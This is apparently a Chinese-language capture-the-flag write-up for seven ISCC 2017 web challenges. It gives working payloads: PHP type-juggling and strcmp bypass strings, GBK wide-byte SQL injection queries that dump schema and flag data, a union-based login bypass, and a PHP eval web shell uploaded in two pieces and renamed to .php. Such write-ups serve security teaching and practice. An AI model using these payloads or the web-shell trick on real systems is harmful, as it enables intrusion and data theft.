ISCC 2017 Web writeup
Web签到题
WelcomeToMySQL
自相矛盾
我们一起来日站
I have a jpg,i upload a txt.
where is your flag
Simple sqli
ISCC 2017 Web writeup
Web签到题
这种签到题不能往难了想,首先理所当然的这样传参
hiddenflag=f1ag&flag=f1ag
这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑。。。
WelcomeToMySQL
首先上传一句话,格式为php5,菜刀连上
然后看base.php:
<?php
$servername="localhost";
$username="iscc2017";
$password="iscc2017";
$db="flag";
$tb="flag";
?>
根据信息访问这个服务器的数据库,拿到flag
自相矛盾
看源码:
<!--
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[‘iscc‘]);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
[email protected]$_GET[‘cat‘];
[email protected]$_GET[‘dog‘];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
echo $flag;
}
就是反复的用一些PHP的函数漏洞,弱等于
第一个参数iscc为JSON格式的
bar1要求不是数字又要比2016大,这用到了PHP中字符串和数字型比较的时候先会用intval()函数做转换,所以bar1:2017a
bar2要求是数组,长度为5,并且第一位还是个数组,并且其中要有"nudt",这里用到字符串弱等于0,所以这五个元素中要有0存在
eregi可以使用%00截断绕过,所以dog=%00,cat[0]=34567isccctf2017
strcmp传参为数组的时候返回NULL,所以cat[1][]=1111
最后payload:
iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=34567isccctf2017&cat[1][]=1111&dog=%00
我们一起来日站
首先扫目录,发现有robots.txt
找到admin.php,简单注入,拿到flag
I have a jpg,i upload a txt.
这题有两个关键:
1、破解这个KaIsA(凯撒)加密函数
2、怎么绕过文件内容检测传shell
对于第一个问题,可以通过
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
可以获取加密后的字符串,然后观察比对,发现这是个变种的凯撒加密,小写字母左移6位,大写字母右移6位,数字不动,这是加密代码:
def kaisai(s):
re=""
for i in range(len(s)):
if s[i]>=‘a‘ and s[i]<=‘z‘:
t=ord(s[i])-6
if t<97:
re+=chr(t-97+123)
continue
if(t>122):
re+=chr(t-122+96)
continue
re+=chr(t)
if s[i]>=‘A‘ and s[i]<=‘Z‘:
t=ord(s[i])+6
if t<65:
re+=chr(t-65+91)
continue
if t>90:
re+=chr(t-90+64)
continue
re+=chr(t)
if s[i]>=‘0‘ and s[i]<=‘9‘:
re+=s[i]
print(re)
a=""
kaisai(a)
第二步要绕过这个文件内容检测,可以通过多次上传的方式,依次将一句话传上去,但是这个数组只能有两位,所以想到php短标签,将一句话分为这两部分:
<
和? eval($_POST[‘cmd‘]);
上传之后利用fwrite将两个文件和为一个txt
<?php
$a[1]="522421975";
$a[2]="563896667";
echo base64_encode(serialize($a));
?>
a[1]和a[2]是上传之后的文件名,然后凯撒加密后提交,得到完整shell的txt格式文件,接下来将之rename为php:
$a[0]="php";
$a[1]="1824217370";
echo base64_encode(serialize($a));
?>
加密后提交,访问这个页面,访问后可以直接得到flag(注意有302重定向)
where is your flag
先扫目录,没有发现,然后找到了flag.php,看了半天结果还是什么都没有。抓个包,看到了这个:
结合题目的意思,猜测可能是gbk宽字节注入,接下来就要找注入点了,这里脑洞了半天猜参数,flag,id等等,最后发现是id。
后面的注入就套路了,也没有什么过滤:
id=%df‘ union select 1,group_concat(schema_name) from information_schema.schemata%23
id=%df‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765625f726f626f7473%23
%df‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23
%df‘ union select 1,convert(thisisflag using gbk) from flag%23 # 注意页面编码和数据库编码不一致,需要绕过
Simple sqli
这题首先是猜后台逻辑,可能是这么写的。
$name=$_POST[‘username‘];
$pw=md5($_POST[‘password‘]);
$sql="select password from users where name=".$name;
$result=mysql_fetch_array(mysql_query($sql));
if($result[‘password‘])
{
if(!strcasecmp($result[‘password‘],$pw))
{
echo $flag;
}
else{
echo "password error";
}
else{
echo "username error";
}
这题南邮有原题http://4.chinalover.sinaapp.com/web6/index.php
最后username=admin‘ and 1=2 union select md5(1)#&password=1